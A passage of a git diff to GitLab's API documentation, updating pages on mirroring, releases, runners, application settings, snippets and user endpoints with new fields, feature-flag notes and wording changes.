`true`. | | `mirror_trigger_builds`| boolean | **{dotted-circle}** No | Trigger pipelines for mirror updates when set to `true`. | | `only_mirror_protected_branches`| boolean | **{dotted-circle}** No | Limits mirroring to only protected branches when set to `true`. | +| `mirror_branch_regex` | String | **{dotted-circle}** No | Contains a regular expression. Only branches with names matching the regex are mirrored. Requires `only_mirror_protected_branches` to be disabled. | ## Start the pull mirroring process for a Project **(PREMIUM)** diff --git a/doc/api/protected_branches.md b/doc/api/protected_branches.md index 96d4240b3ef..6b702ad7e03 100644 --- a/doc/api/protected_branches.md +++ b/doc/api/protected_branches.md @@ -6,7 +6,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Protected branches API **(FREE)** -**Valid access levels** +## Valid access levels The access levels are defined in the `ProtectedRefAccess.allowed_access_levels` method. Currently, these levels are recognized: diff --git a/doc/api/releases/index.md b/doc/api/releases/index.md index 66d5775f499..d5d858c1647 100644 --- a/doc/api/releases/index.md +++ b/doc/api/releases/index.md @@ -41,6 +41,15 @@ GET /projects/:id/releases | `sort` | string | no | The direction of the order. Either `desc` (default) for descending order or `asc` for ascending order. | | `include_html_description` | boolean | no | If `true`, a response includes HTML rendered Markdown of the release description. | +If successful, returns [`200 OK`](../../api/index.md#status-codes) and the following +response attributes: + +| Attribute | Type | Description | +|:---------------------|:--------|:------------------------------------- | +| `[]._links` | object | Links of the release. | +| `[]._links.self` | string | HTTP URL of the release. | +| `[]._links.edit_url` | string | HTTP URL of the release's edit page. | + Example request: ```shell @@ -226,7 +235,11 @@ Example response: "filepath": "https://gitlab.example.com/root/awesome-app/-/releases/v0.1/evidence.json", "collected_at": "2019-01-03T01:55:18.203Z" } - ] + ], + "_links": { + "self": "https://gitlab.example.com/root/awesome-app/-/releases/v0.1", + "edit_url": "https://gitlab.example.com/root/awesome-app/-/releases/v0.1/edit" + } } ] ``` @@ -247,6 +260,15 @@ GET /projects/:id/releases/:tag_name | `tag_name` | string | yes | The Git tag the release is associated with. | | `include_html_description` | boolean | no | If `true`, a response includes HTML rendered Markdown of the release description. | +If successful, returns [`200 OK`](../../api/index.md#status-codes) and the following +response attributes: + +| Attribute | Type | Description | +|:------------------|:--------|:------------------------------------- | +| `_links` | object | Links of the release. | +| `_links.self` | string | HTTP URL of the release. | +| `_links.edit_url` | string | HTTP URL of the release's edit page. | + Example request: ```shell @@ -359,7 +381,11 @@ Example response: "sha": "760d6cdfb0879c3ffedec13af470e0f71cf52c6cde4d", "filepath": "https://gitlab.example.com/root/awesome-app/-/releases/v0.1/evidence.json", "collected_at": "2019-07-16T14:00:12.256Z" - } + }, + "_links": { + "self": "https://gitlab.example.com/root/awesome-app/-/releases/v0.1", + "edit_url": "https://gitlab.example.com/root/awesome-app/-/releases/v0.1/edit" + } ] } ``` diff --git a/doc/api/remote_mirrors.md b/doc/api/remote_mirrors.md index bd59aa64e45..00dc34e261a 100644 --- a/doc/api/remote_mirrors.md +++ b/doc/api/remote_mirrors.md @@ -86,6 +86,14 @@ Learn how to [configure a pull mirror](projects.md#configure-pull-mirroring-for- ## Create a push mirror +> Field `mirror_branch_regex` [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/102608) in GitLab 15.8 [with a flag](../administration/feature_flags.md) named `mirror_only_branches_match_regex`. Disabled by default. + +FLAG: +On self-managed GitLab, by default the field `mirror_branch_regex` is not available. +To make it available, ask an administrator to [enable the feature flag](../administration/feature_flags.md) +named `mirror_only_branches_match_regex`. +On GitLab.com, this feature is not available. + Push mirroring is disabled by default. To enable it, include the optional parameter `enabled` when you create the mirror: @@ -99,6 +107,7 @@ POST /projects/:id/remote_mirrors | `enabled` | Boolean | no | Determines if the mirror is enabled. | | `keep_divergent_refs` | Boolean | no | Determines if divergent refs are skipped. | | `only_protected_branches` | Boolean | no | Determines if only protected branches are mirrored. | +| `mirror_branch_regex` **(PREMIUM)** | String | no | Contains a regular expression. Only branches with names matching the regex are mirrored. Requires `only_protected_branches` to be disabled. | Example request: @@ -126,6 +135,12 @@ Example response: ## Update a remote mirror's attributes +FLAG: +On self-managed GitLab, by default the field `mirror_branch_regex` is not available. +To make it available, ask an administrator to [enable the feature flag](../administration/feature_flags.md) +named `mirror_only_branches_match_regex`. +On GitLab.com, this feature is not available. + Toggle a remote mirror on or off, or change which types of branches are mirrored: @@ -139,6 +154,7 @@ PUT /projects/:id/remote_mirrors/:mirror_id | `enabled` | Boolean | no | Determines if the mirror is enabled. | | `keep_divergent_refs` | Boolean | no | Determines if divergent refs are skipped. | | `only_protected_branches` | Boolean | no | Determines if only protected branches are mirrored. | +| `mirror_branch_regex`**(PREMIUM)** | String | no | Determines if only the branch whose name matches the regex is mirrored. It does not work with `only_protected_branches` enabled. | Example request: diff --git a/doc/api/repositories.md b/doc/api/repositories.md index 428a09f1bbe..dcbb5d14741 100644 --- a/doc/api/repositories.md +++ b/doc/api/repositories.md @@ -171,7 +171,7 @@ curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.com/api/v4/pr This endpoint can be accessed without authentication if the repository is publicly accessible. Diffs can have an empty diff string if -[diff limits](../development/diffs.md#diff-limits) are reached. +[diff limits](../development/merge_request_concepts/diffs/index.md#diff-limits) are reached. ```plaintext GET /projects/:id/repository/compare diff --git a/doc/api/runners.md b/doc/api/runners.md index 62d5e41c877..c692faf9490 100644 --- a/doc/api/runners.md +++ b/doc/api/runners.md @@ -193,7 +193,7 @@ Get details of a runner. At least the Maintainer role is required to get runner details at the project and group level. -Instance-level runner details via this endpoint are available to all signed in users. +Instance-level runner details via this endpoint are available to all authenticated users. ```plaintext GET /runners/:id @@ -650,18 +650,18 @@ POST /runners | Attribute | Type | Required | Description | |--------------------|--------------|----------|---------------------------------------------------------------------------------------------------------------------------------------------------------------| -| `token` | string | yes | [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/379743): [Registration token](#registration-and-authentication-tokens). The registration token will be replaced by an authentication token in GitLab 16.0 | -| `description` | string | no | [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/379743): Runner's description | +| `token` | string | yes | [Registration token](#registration-and-authentication-tokens) | +| `description` | string | no | Runner's description | | `info` | hash | no | Runner's metadata. You can include `name`, `version`, `revision`, `platform`, and `architecture`, but only `version`, `platform`, and `architecture` are displayed in the Admin Area of the UI | | `active` | boolean | no | Deprecated: Use `paused` instead. Specifies whether the runner is allowed to receive new jobs | -| `paused` | boolean | no | [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/379743): Specifies whether the runner should ignore new jobs | -| `locked` | boolean | no | [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/379743): Specifies whether the runner should be locked for the current project | -| `run_untagged` | boolean | no | [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/379743): Specifies whether the runner should handle untagged jobs | -| `tag_list` | string array | no | [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/379743): A list of runner tags | -| `access_level` | string | no | [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/379743): The access level of the runner; `not_protected` or `ref_protected` | -| `maximum_timeout` | integer | no | [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/379743): Maximum timeout that limits the amount of time (in seconds) that runners can run jobs | +| `paused` | boolean | no | Specifies whether the runner should ignore new jobs | +| `locked` | boolean | no | Specifies whether the runner should be locked for the current project | +| `run_untagged` | boolean | no | Specifies whether the runner should handle untagged jobs | +| `tag_list` | string array | no | A list of runner tags | +| `access_level` | string | no | The access level of the runner; `not_protected` or `ref_protected` | +| `maximum_timeout` | integer | no | Maximum timeout that limits the amount of time (in seconds) that runners can run jobs | | `maintainer_note` | string | no | [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/350730), see `maintenance_note` | -| `maintenance_note` | string | no | [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/379743): Free-form maintenance notes for the runner (1024 characters) | +| `maintenance_note` | string | no | Free-form maintenance notes for the runner (1024 characters) | ```shell curl --request POST "https://gitlab.example.com/api/v4/runners" \ diff --git a/doc/api/scim.md b/doc/api/scim.md index 0ee9779ccbd..46896d7a4c8 100644 --- a/doc/api/scim.md +++ b/doc/api/scim.md @@ -14,7 +14,7 @@ and provides the `/Users` endpoint. The base URL is `/api/scim/v2/groups/:group_ To use this API, [Group SSO](../user/group/saml_sso/index.md) must be enabled for the group. This API is only in use where [SCIM for Group SSO](../user/group/saml_sso/scim_setup.md) is enabled. It's a prerequisite to the creation of SCIM identities. -Not to be confused with the [internal SCIM API](../development/internal_api/index.md#scim-api). +Not to be confused with the [internal group SCIM API](../development/internal_api/index.md#group-scim-api). ## Get SCIM identities for a group diff --git a/doc/api/search.md b/doc/api/search.md index a59f943319c..f4540e899f0 100644 --- a/doc/api/search.md +++ b/doc/api/search.md @@ -59,6 +59,7 @@ Example response: "ssh_url_to_repo": "ssh://jarka@localhost:2222/twitter/flight.git", "http_url_to_repo": "http://localhost:3000/twitter/flight.git", "web_url": "http://localhost:3000/twitter/flight", + "readme_url": "http://localhost:3000/twitter/flight/-/blob/master/README.md", "avatar_url": null, "star_count": 0, "forks_count": 0, @@ -478,6 +479,7 @@ Example response: "ssh_url_to_repo": "ssh://jarka@localhost:2222/twitter/flight.git", "http_url_to_repo": "http://localhost:3000/twitter/flight.git", "web_url": "http://localhost:3000/twitter/flight", + "readme_url": "http://localhost:3000/twitter/flight/-/blob/master/README.md", "avatar_url": null, "star_count": 0, "forks_count": 0, diff --git a/doc/api/secure_files.md b/doc/api/secure_files.md index c2c21134d6f..a47c9654557 100644 --- a/doc/api/secure_files.md +++ b/doc/api/secure_files.md @@ -7,11 +7,10 @@ type: reference, api # Project-level Secure Files API **(FREE)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/78227) in GitLab 14.8. [Deployed behind the `ci_secure_files` flag](../administration/feature_flags.md), disabled by default. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/78227) in GitLab 14.8. [Deployed behind the `ci_secure_files` flag](../administration/feature_flags.md), disabled by default. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/350748) in GitLab 15.7. -FLAG: -On self-managed GitLab, by default this feature is not available. To make it available, -ask an administrator to [enable the feature flag](../administration/feature_flags.md) named `ci_secure_files`. Limited to 100 secure files per project. Files must be smaller than 5 MB. The feature is not ready for production use. +Limited to 100 secure files per project. Files must be smaller than 5 MB. Project-level Secure Files is an experimental feature developed by [GitLab Incubation Engineering](https://about.gitlab.com/handbook/engineering/incubation/). ## List project secure files diff --git a/doc/api/settings.md b/doc/api/settings.md index 7d55180db94..1fa491ef41c 100644 --- a/doc/api/settings.md +++ b/doc/api/settings.md @@ -226,7 +226,8 @@ Example response: "external_pipeline_validation_service_url": null, "can_create_group": false, "jira_connect_application_key": "123", - "jira_connect_proxy_url": "http://gitlab.example.com" + "jira_connect_proxy_url": "http://gitlab.example.com", + "user_defaults_to_private_profile": true } ``` @@ -251,6 +252,8 @@ Example responses: **(PREMIUM SELF)** ## List of settings that can be accessed via API calls +> Fields `housekeeping_full_repack_period`, `housekeeping_gc_period`, and `housekeeping_incremental_repack_period` [deprecated](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/106963) in GitLab 15.8. Use `housekeeping_optimize_repository_period` instead. + In general, all settings are optional. Certain settings though, if enabled, require other settings to be set to function properly. These requirements are listed in the descriptions of the relevant settings. @@ -268,6 +271,7 @@ listed in the descriptions of the relevant settings. | `allow_local_requests_from_hooks_and_services` | boolean | no | (Deprecated: Use `allow_local_requests_from_web_hooks_and_services` instead) Allow requests to the local network from hooks and services. | | `allow_local_requests_from_system_hooks` | boolean | no | Allow requests to the local network from system hooks. | | `allow_local_requests_from_web_hooks_and_services` | boolean | no | Allow requests to the local network from web hooks and services. | +| `allow_runner_registration_token` | boolean | no | Allow using a registration token to create a runner. Defaults to `true`. | | `archive_builds_in_human_readable` | string | no | Set the duration for which the jobs are considered as old and expired. After that time passes, the jobs are archived and no longer able to be retried. Make it empty to never expire jobs. It has to be no less than 1 day, for example: <code>15 days</code>, <code>1 month</code>, <code>2 years</code>. | | `asset_proxy_enabled` | boolean | no | (**If enabled, requires:** `asset_proxy_url`) Enable proxying of assets. GitLab restart is required to apply changes. | | `asset_proxy_secret_key` | string | no | Shared secret with the asset proxy server. GitLab restart is required to apply changes. | @@ -278,6 +282,7 @@ listed in the descriptions of the relevant settings. | `auto_devops_domain` | string | no | Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages. | | `auto_devops_enabled` | boolean | no | Enable Auto DevOps for projects by default. It automatically builds, tests, and deploys applications based on a predefined CI/CD configuration. | | `automatic_purchased_storage_allocation` | boolean | no | Enabling this permits automatic allocation of purchased storage in a namespace. | +| `bulk_import_enabled` | boolean | no | Enable migrating GitLab groups by direct transfer. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/383268) in GitLab 15.8. Requires [`bulk_import_projects` feature flag](../user/group/import/index.md#migrate-groups-by-direct-transfer-recommended) to also migrate projects. | | `can_create_group` | boolean | no | Indicates whether users can create top-level groups. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/367754) in GitLab 15.5. Defaults to `true`. | | `check_namespace_plan` **(PREMIUM)** | boolean | no | Enabling this makes only licensed EE features available to projects if the project namespace's plan includes the feature or if the project is public. | | `commit_email_hostname` | string | no | Custom hostname (for private commit emails). | @@ -375,11 +380,12 @@ listed in the descriptions of the relevant settings. | `help_text` **(PREMIUM)** | string | no | GitLab server administrator information. | | `hide_third_party_offers` | boolean | no | Do not display offers from third parties in GitLab. | | `home_page_url` | string | no | Redirect to this URL when not logged in. | -| `housekeeping_bitmaps_enabled` | boolean | no | Git pack file bitmap creation is always enabled and cannot be changed via API and UI. This API field is deprecated and always returns `true`. | -| `housekeeping_enabled` | boolean | no | (**If enabled, requires:** `housekeeping_bitmaps_enabled`, `housekeeping_full_repack_period`, `housekeeping_gc_period`, and `housekeeping_incremental_repack_period`) Enable or disable Git housekeeping. | -| `housekeeping_full_repack_period` | integer | required by: `housekeeping_enabled` | Number of Git pushes after which an incremental `git repack` is run. | -| `housekeeping_gc_period` | integer | required by: `housekeeping_enabled` | Number of Git pushes after which `git gc` is run. | -| `housekeeping_incremental_repack_period` | integer | required by: `housekeeping_enabled` | Number of Git pushes after which an incremental `git repack` is run. | +| `housekeeping_bitmaps_enabled` | boolean | no | Deprecated. Git pack file bitmap creation is always enabled and cannot be changed via API and UI. Always returns `true`. | +| `housekeeping_enabled` | boolean | no | Enable or disable Git housekeeping. Requires additional fields to be set. For more information, see [Housekeeping fields](#housekeeping-fields). | +| `housekeeping_full_repack_period` | integer | no | Deprecated. Number of Git pushes after which an incremental `git repack` is run. Use `housekeeping_optimize_repository_period` instead. For more information, see [Housekeeping fields](#housekeeping-fields). | +| `housekeeping_gc_period` | integer | no | Deprecated. Number of Git pushes after which `git gc` is run. Use `housekeeping_optimize_repository_period` instead. For more information, see [Housekeeping fields](#housekeeping-fields). | +| `housekeeping_incremental_repack_period` | integer | no | Deprecated. Number of Git pushes after which an incremental `git repack` is run. Use `housekeeping_optimize_repository_period` instead. For more information, see [Housekeeping fields](#housekeeping-fields).| +| `housekeeping_optimize_repository_period`| integer | no | Number of Git pushes after which an incremental `git repack` is run. | | `html_emails_enabled` | boolean | no | Enable HTML emails. | | `import_sources` | array of strings | no | Sources to allow project import from, possible values: `github`, `bitbucket`, `bitbucket_server`, `gitlab`, `fogbugz`, `git`, `gitlab_project`, `gitea`, `manifest`, and `phabricator`. | | `in_product_marketing_emails_enabled` | boolean | no | Enable [in-product marketing emails](../user/profile/notifications.md#global-notification-settings). Enabled by default. | @@ -511,6 +517,7 @@ listed in the descriptions of the relevant settings. | `user_deactivation_emails_enabled` | boolean | no | Send an email to users upon account deactivation. | | `user_default_external` | boolean | no | Newly registered users are external by default. | | `user_default_internal_regex` | string | no | Specify an email address regex pattern to identify default internal users. | +| `user_defaults_to_private_profile` | boolean | no | Newly created users have private profile by default. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/231301) in GitLab 15.8. Defaults to `false`. | | `user_oauth_applications` | boolean | no | Allow users to register any application to use GitLab as an OAuth provider. | | `user_show_add_ssh_key_message` | boolean | no | When set to `false` disable the `You won't be able to pull or push project code via SSH` warning shown to users with no uploaded SSH key. | | `version_check_enabled` | boolean | no | Let GitLab inform you when an update is available. | @@ -520,6 +527,28 @@ listed in the descriptions of the relevant settings. | `jira_connect_application_key` | String | no | Application ID of the OAuth application that should be used to authenticate with the GitLab.com for Jira Cloud app | | `jira_connect_proxy_url` | String | no | URL of the GitLab instance that should be used as a proxy for the GitLab.com for Jira Cloud app | +## Housekeeping fields + +::Tabs + +:::TabTitle 15.8 and later + +If the `housekeeping_optimize_repository_period` +field is set to an integer, housekeeping operations are performed after the number +of Git pushes you specify. + +:::TabTitle 15.7 and earlier + +The `housekeeping_enabled` field enables or disables +Git housekeeping. To function properly, this field requires `housekeeping_optimize_repository_period` +to be set, or _all_ of these values to be set: + +- `housekeeping_bitmaps_enabled` +- `housekeeping_full_repack_period` +- `housekeeping_gc_period` + +::EndTabs + ### Package Registry: Package file size limits The package file size limits are not part of the Application settings API. diff --git a/doc/api/snippet_repository_storage_moves.md b/doc/api/snippet_repository_storage_moves.md index 1ef5299668d..90cbe19112c 100644 --- a/doc/api/snippet_repository_storage_moves.md +++ b/doc/api/snippet_repository_storage_moves.md @@ -1,6 +1,6 @@ --- stage: Create -group: Editor +group: Source Code info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments type: reference --- @@ -9,7 +9,7 @@ type: reference > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49228) in GitLab 13.8. -Snippet repositories can be moved between storages. This can be useful when +Snippet repositories can be moved between storages. This API can help you when [migrating to Gitaly Cluster](../administration/gitaly/index.md#migrate-to-gitaly-cluster), for example. @@ -266,6 +266,8 @@ Example response: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49228) in GitLab 13.8. Schedules repository storage moves for each snippet repository stored on the source storage shard. +This endpoint migrates all snippets at once. For more information, see +[Move all snippets](../administration/operations/moving_repositories.md#move-all-snippets). ```plaintext POST /snippet_repository_storage_moves diff --git a/doc/api/snippets.md b/doc/api/snippets.md index c312642a450..39965ae91f3 100644 --- a/doc/api/snippets.md +++ b/doc/api/snippets.md @@ -1,6 +1,6 @@ --- stage: Create -group: Editor +group: Source Code info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- @@ -20,7 +20,7 @@ Valid values for snippet visibility levels are: | Visibility | Description | |:-----------|:----------------------------------------------------| | `private` | Snippet is visible only to the snippet creator. | -| `internal` | Snippet is visible for any logged in user except [external users](../user/admin_area/external_users.md). | +| `internal` | Snippet is visible for any authenticated user except [external users](../user/admin_area/external_users.md). | | `public` | Snippet can be accessed without any authentication. | ## List all snippets for a user diff --git a/doc/api/todos.md b/doc/api/todos.md index 2bfae1972b7..b66270d2f5d 100644 --- a/doc/api/todos.md +++ b/doc/api/todos.md @@ -27,7 +27,7 @@ Parameters: | `project_id` | integer | no | The ID of a project | | `group_id` | integer | no | The ID of a group | | `state` | string | no | The state of the to-do item. Can be either `pending` or `done` | -| `type` | string | no | The type of to-do item. Can be either `Issue`, `MergeRequest`, `Commit`, `Epic`, `DesignManagement::Design`, `AlertManagement::Alert` or `Namespace` | +| `type` | string | no | The type of to-do item. Can be either `Issue`, `MergeRequest`, `Commit`, `Epic`, `DesignManagement::Design` or `AlertManagement::Alert` | ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/todos" diff --git a/doc/api/topics.md b/doc/api/topics.md index 13a5eabf8f9..8acf6bd645d 100644 --- a/doc/api/topics.md +++ b/doc/api/topics.md @@ -1,6 +1,6 @@ --- stage: Manage -group: Workspace +group: Organization info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- diff --git a/doc/api/users.md b/doc/api/users.md index 382d5fe03c1..a577dc26043 100644 --- a/doc/api/users.md +++ b/doc/api/users.md @@ -12,7 +12,7 @@ Get a list of users. This function takes pagination parameters `page` and `per_page` to restrict the list of users. -### For normal users +### For non-administrator users ```plaintext GET /users @@ -468,6 +468,7 @@ over `password`. In addition, `reset_password` and NOTE: From [GitLab 12.1](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/29888/), `private_profile` defaults to `false`. +From [GitLab 15.8](https://gitlab.com/gitlab-org/gitlab/-/issues/231301), `private_profile` defaults to the value determined by [this](../user/admin_area/settings/account_and_limit_settings.md#set-profiles-of-new-users-to-private-by-default) setting. NOTE: From [GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/35604), `bio` defaults to `""` instead of `null`. @@ -485,7 +486,7 @@ Parameters: | `avatar` | No | Image file for user's avatar | | `bio` | No | User's biography | | `can_create_group` | No | User can create groups - true or false | -| `color_scheme_id` | No | User's color scheme for the file viewer (see [the user preference docs](../user/profile/preferences.md#syntax-highlighting-theme) for more information) | +| `color_scheme_id` | No | User's color scheme for the file viewer (for more information, see the [user preference documentation](../user/profile/preferences.md#syntax-highlighting-theme)) | | `email` | Yes | Email | | `extern_uid` | No | External UID | | `external` | No | Flags the user as external - true or false (default) | @@ -498,14 +499,14 @@ Parameters: | `note` | No | Administrator notes for this user | | `organization` | No | Organization name | | `password` | No | Password | -| `private_profile` | No | User's profile is private - true, false (default), or null (is converted to false) | +| `private_profile` | No | User's profile is private - true or false. The default value is determined by [this](../user/admin_area/settings/account_and_limit_settings.md#set-profiles-of-new-users-to-private-by-default) setting. | | `projects_limit` | No | Number of projects user can create | | `provider` | No | External provider name | | `reset_password` | No | Send user password reset link - true or false(default) | | `shared_runners_minutes_limit` **(PREMIUM)** | No | Can be set by administrators only. Maximum number of monthly CI/CD minutes for this user. Can be `nil` (default; inherit system default), `0` (unlimited), or `> 0`. | | `skip_confirmation` | No | Skip confirmation - true or false (default) | | `skype` | No | Skype ID | -| `theme_id` | No | GitLab theme for the user (see [the user preference docs](../user/profile/preferences.md#navigation-theme) for more information) | +| `theme_id` | No | GitLab theme for the user (for more information, see the [user preference documentation](../user/profile/preferences.md#navigation-theme) for more information) | | `twitter` | No | Twitter account | | `username` | Yes | Username | | `view_diffs_file_by_file` | No | Flag indicating the user sees only one file diff per page | @@ -533,7 +534,7 @@ Parameters: | `avatar` | No | Image file for user's avatar | | `bio` | No | User's biography | | `can_create_group` | No | User can create groups - true or false | -| `color_scheme_id` | No | User's color scheme for the file viewer (see [the user preference docs](../user/profile/preferences.md#syntax-highlighting-theme) for more information) | +| `color_scheme_id` | No | User's color scheme for the file viewer (for more information, see the [user preference documentation](../user/profile/preferences.md#syntax-highlighting-theme) for more information) | | `commit_email` | No | User's commit email. Set to `_private` to use the private commit email. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/375148) in GitLab 15.5. | | `email` | No | Email | | `extern_uid` | No | External UID | @@ -547,7 +548,7 @@ Parameters: | `note` | No | Administration notes for this user | | `organization` | No | Organization name | | `password` | No | Password | -| `private_profile` | No | User's profile is private - true, false (default), or null (is converted to false) | +| `private_profile` | No | User's profile is private - true or false. | | `projects_limit` | No | Limit projects each user can create | | `pronouns` | No | Pronouns | | `provider` | No | External provider name | @@ -555,7 +556,7 @@ Parameters: | `shared_runners_minutes_limit` **(PREMIUM)** | No | Can be set by administrators only. Maximum number of monthly CI/CD minutes for this user. Can be `nil` (default; inherit system default), `0` (unlimited) or `> 0`. | | `skip_reconfirmation` | No | Skip reconfirmation - true or false (default) | | `skype` | No | Skype ID | -| `theme_id` | No | GitLab theme for the user (see [the user preference docs](../user/profile/preferences.md#navigation-theme) for more information) | +| `theme_id` | No | GitLab theme for the user (for more information, see the [user preference documentation](../user/profile/preferences.md#navigation-theme) for more information) | | `twitter` | No | Twitter account | | `username` | No | Username | | `view_diffs_file_by_file` | No | Flag indicating the user sees only one file diff per page | @@ -601,9 +602,9 @@ Parameters: Get current user. -### For normal users +### For non-administrator users -Gets currently authenticated user. +Gets the authenticated user. ```plaintext GET /user @@ -729,7 +730,7 @@ parameters: ## User status -Get the status of the currently signed in user. +Get the status of the authenticated user. ```plaintext GET /user/status @@ -785,6 +786,7 @@ Set the status of the current user. ```plaintext PUT /user/status +PATCH /user/status ``` | Attribute | Type | Required | Description | @@ -793,7 +795,9 @@ PUT /user/status | `message` | string | no | Message to set as a status. It can also contain emoji codes. Cannot exceed 100 characters. | | `clear_status_after` | string | no | Automatically clean up the status after a given time interval, allowed values: `30_minutes`, `3_hours`, `8_hours`, `1_day`, `3_days`, `7_days`, `30_days` -When both parameters `emoji` and `message` are empty, the status is cleared. When the `clear_status_after` parameter is missing from the request, the previously set value for `"clear_status_after` is cleared. +Difference between `PUT` and `PATCH` + +When using `PUT` any parameters that are not passed are set to `null` and therefore cleared. When using `PATCH` any parameters that are not passed are ignored. Explicitly pass `null` to clear a field. ```shell curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --data "clear_status_after=1_day" --data "emoji=coffee" \ @@ -813,7 +817,7 @@ Example responses ## Get user preferences -Get a list of currently authenticated user's preferences. +Get a list of the authenticated user's preferences. ```plaintext GET /user/preferences @@ -942,7 +946,7 @@ Example response: ## User counts -Get the counts (same as in top right menu) of the currently signed in user. +Get the counts (same as in top right menu) of the authenticated user. | Attribute | Type | Description | | --------------------------------- | ------ | ---------------------------------------------------------------------------- | @@ -974,11 +978,16 @@ Example response: ## List user projects -Please refer to the [List of user projects](projects.md#list-user-projects). +See the [list of user projects](projects.md#list-user-projects). ## List associations count for user -Get a list of a specified user's count of projects, groups, issues and merge requests. +Get a list of a specified user's count of: + +- Projects. +- Groups. +- Issues. +- Merge requests. Administrators can query any user, but non-administrators can only query themselves. @@ -1005,7 +1014,7 @@ Example response: ## List SSH keys -Get a list of currently authenticated user's SSH keys. +Get a list of the authenticated user's SSH keys. ```plaintext GET /user/keys @@ -1097,7 +1106,7 @@ Parameters: > The `usage_type` parameter was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/105551) in GitLab 15.7. -Creates a new key owned by the currently authenticated user. +Creates a new key owned by the authenticated user. ```plaintext POST /user/keys @@ -1187,8 +1196,10 @@ This also adds an audit event, as described in [audit instance events](../admini ## Delete SSH key for current user -Deletes key owned by currently authenticated user. -This returns a `204 No Content` status code if the operation was successfully or `404` if the resource was not found. +Deletes key owned by the authenticated user. + +This returns a `204 No Content` status code if the operation was successfully +or `404` if the resource was not found. ```plaintext DELETE /user/keys/:key_id @@ -1217,7 +1228,7 @@ Parameters: ## List all GPG keys -Get a list of currently authenticated user's GPG keys. +Get a list of the authenticated user's GPG keys. ```plaintext GET /user/gpg_keys @@ -1241,7 +1252,7 @@ Example response: ## Get a specific GPG key -Get a specific GPG key of currently authenticated user. +Get a specific GPG key of authenticated user. ```plaintext GET /user/gpg_keys/:key_id @@ -1269,7 +1280,7 @@ Example response: ## Add a GPG key -Creates a new GPG key owned by the currently authenticated user. +Creates a new GPG key owned by the authenticated user. ```plaintext POST /user/gpg_keys @@ -1300,7 +1311,7 @@ Example response: ## Delete a GPG key -Delete a GPG key owned by currently authenticated user. +Delete a GPG key owned by the authenticated user. ```plaintext DELETE /user/gpg_keys/:key_id @@ -1431,11 +1442,10 @@ curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://git ## List emails -Get a list of currently authenticated user's emails. +Get a list of the authenticated user's emails. NOTE: -Due to [a bug](https://gitlab.com/gitlab-org/gitlab/-/issues/25077) this endpoint currently -does not return the primary email address. +This endpoint does not return the primary email address, but [issue 25077](https://gitlab.com/gitlab-org/gitlab/-/issues/25077) proposes to change this behavior. ```plaintext GET /user/emails @@ -1465,8 +1475,7 @@ Parameters: Get a list of a specified user's emails. Available only for administrator NOTE: -Due to [a bug](https://gitlab.com/gitlab-org/gitlab/-/issues/25077) this endpoint currently -does not return the primary email address. +This endpoint does not return the primary email address, but [issue 25077](https://gitlab.com/gitlab-org/gitlab/-/issues/25077) proposes to change this behavior. ```plaintext GET /users/:id/emails @@ -1502,7 +1511,7 @@ Parameters: ## Add email -Creates a new email owned by the currently authenticated user. +Creates a new email owned by the authenticated user. ```plaintext POST /user/emails @@ -1553,8 +1562,11 @@ Parameters: ## Delete email for current user -Deletes email owned by currently authenticated user. -This returns a `204 No Content` status code if the operation was successfully or `404` if the resource was not found. +Deletes email owned by authenticated user. + +This returns a `204 No Content` status code if the operation was successfully +or `404` if the resource was not found. + This cannot delete a primary email address. ```plaintext @@ -1645,10 +1657,10 @@ Returns: - `201 OK` on success. - `404 User Not Found` if user cannot be found. -- `403 Forbidden` when trying to deactivate a user: +- `403 Forbidden` when trying to deactivate a user that is: - Blocked by administrator or by LDAP synchronization. - - That is not [dormant](../user/admin_area/moderate_users.md#automatically-deactivate-dormant-users). - - That is internal. + - Not [dormant](../user/admin_area/moderate_users.md#automatically-deactivate-dormant-users). + - Internal. ## Activate user **(FREE SELF)** @@ -1714,7 +1726,7 @@ Returns: ## Get user contribution events -Please refer to the [Events API documentation](events.md#get-user-contribution-events) +See the [Events API documentation](events.md#get-user-contribution-events) ## Get all impersonation tokens of a user **(FREE SELF)** diff --git a/doc/architecture/blueprints/ci_data_decay/index.md b/doc/architecture/blueprints/ci_data_decay/index.md index 6df37e28992..e26e7d5dbd3 100644 --- a/doc/architecture/blueprints/ci_data_decay/index.md +++ b/doc/architecture/blueprints/ci_data_decay/index.md @@ -1,8 +1,8 @@ --- -status: ready +status: ongoing creation-date: "2021-09-10" authors: [ "@grzesiek" ] -coach: "@kamil" +coach: [ 